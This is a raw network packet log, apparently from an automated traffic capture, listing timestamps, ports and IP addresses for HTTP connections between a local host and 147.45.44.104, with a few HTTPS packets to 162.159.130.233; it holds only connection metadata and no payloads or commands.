Aug 21, 2024 08:32:15.598285913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.598300934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.598309040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.598315001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.598320961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.598360062 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.598388910 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.603944063 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.603972912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.603981972 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604015112 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.604054928 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.604116917 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604126930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604130030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604141951 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604150057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604190111 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604197979 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604201078 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.604207039 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604214907 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604223013 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.604240894 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.604284048 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.604285955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604295969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604311943 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604356050 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.604372025 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604378939 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604391098 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604396105 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604427099 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.604456902 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.604537964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604543924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604554892 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604561090 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604566097 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604572058 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604578018 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604595900 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.604600906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604629040 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.604629040 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.604654074 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.604697943 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604707003 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604911089 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604938030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604948997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.604998112 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.605077982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605083942 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605089903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605097055 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605140924 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.605173111 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.605684996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605693102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605705023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605757952 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.605811119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605823040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605832100 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605839968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605854034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605860949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605866909 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.605889082 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.605890036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605905056 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.605926037 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605931044 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.605937958 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605952024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605981112 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.605994940 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.605998993 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.606004000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.606113911 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.607115030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.607125998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.607140064 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.607148886 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.607163906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.607172012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.607187033 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.607197046 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.607242107 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.607247114 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.607294083 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.614905119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.614931107 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615011930 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.615068913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615089893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615108013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615117073 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615149975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615156889 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615168095 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615195990 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.615195990 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.615231991 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.615257025 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615262985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615276098 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615282059 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615287066 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615293026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615315914 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.615361929 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615367889 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.615370989 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615380049 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615386963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615411997 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.615441084 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.615466118 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615473986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615489006 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615497112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615523100 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.615551949 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.615570068 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615576982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615581989 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615590096 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615597010 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615628004 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.615658045 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.615756035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615761995 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.615818977 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.620146990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.620219946 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.620263100 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.620348930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.620376110 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.620398998 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.620398998 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.620434999 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.620699883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.620760918 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.620805979 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.620819092 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.620903015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.620913029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.620919943 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.620946884 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.620979071 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.621131897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.621154070 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.621162891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.621216059 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.621298075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.621303082 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.621315002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.621320009 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.621370077 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.623635054 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.623645067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.623658895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.623668909 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.623677969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.623691082 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.623713970 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.623718023 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.623764992 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.641422987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641432047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641437054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641449928 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641458988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641474009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641480923 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641488075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641495943 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641505003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641514063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641513109 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.641532898 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.641550064 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.641560078 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.641568899 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.641625881 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.641627073 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.641638041 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.641774893 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641783953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641796112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641801119 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641813040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641819000 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641824961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641830921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641835928 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641843081 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.641845942 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.641864061 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.641901016 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.641901970 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.642540932 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642551899 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642569065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642574072 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642580032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642585993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642596960 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642601967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642607927 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642615080 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.642621040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642628908 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642640114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642643929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642656088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642657042 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.642672062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642692089 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642703056 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.642703056 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.642707109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642718077 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642728090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642734051 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.642735004 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642745018 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642754078 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.642775059 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.642775059 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.642793894 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.642812014 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.643301964 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.643316031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.643323898 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.643332005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.643341064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.643347979 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.643357038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.643372059 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.643409014 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.643409014 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.645430088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.645440102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.645452023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.645473957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.645481110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.645493984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.645499945 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.645509005 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.645546913 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.645546913 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.646939039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.646949053 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.646955013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.646960974 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.646965981 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.646971941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.646979094 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.647003889 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.647031069 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.656306982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.656321049 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.656337023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.656385899 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.656419039 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.656491041 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.656502962 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.656511068 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.656517029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.656522989 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.656552076 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.656552076 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.683154106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.683276892 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.683368921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.683381081 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.683396101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.683403015 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.683413029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.683422089 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.683445930 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.683485985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.683506966 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.683537006 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.683567047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.683573961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.683588028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.683593988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.683619022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.683625937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.683629990 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.683659077 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.683680058 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.684534073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.684578896 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.684587955 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.684653997 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.684823990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.684830904 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.684842110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.684848070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.684901953 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.686548948 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.686558962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.686566114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.686613083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.686618090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.686621904 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.686623096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.686636925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.686654091 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.686682940 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.687093973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.687112093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.687124014 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.687175989 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.687207937 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.687239885 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.687247038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.687258005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.687263966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.687298059 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.687330008 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.687519073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.687576056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.687583923 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.687594891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.687602043 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.687609911 CEST	80	49720	147.45.44.104	192.168.2.6
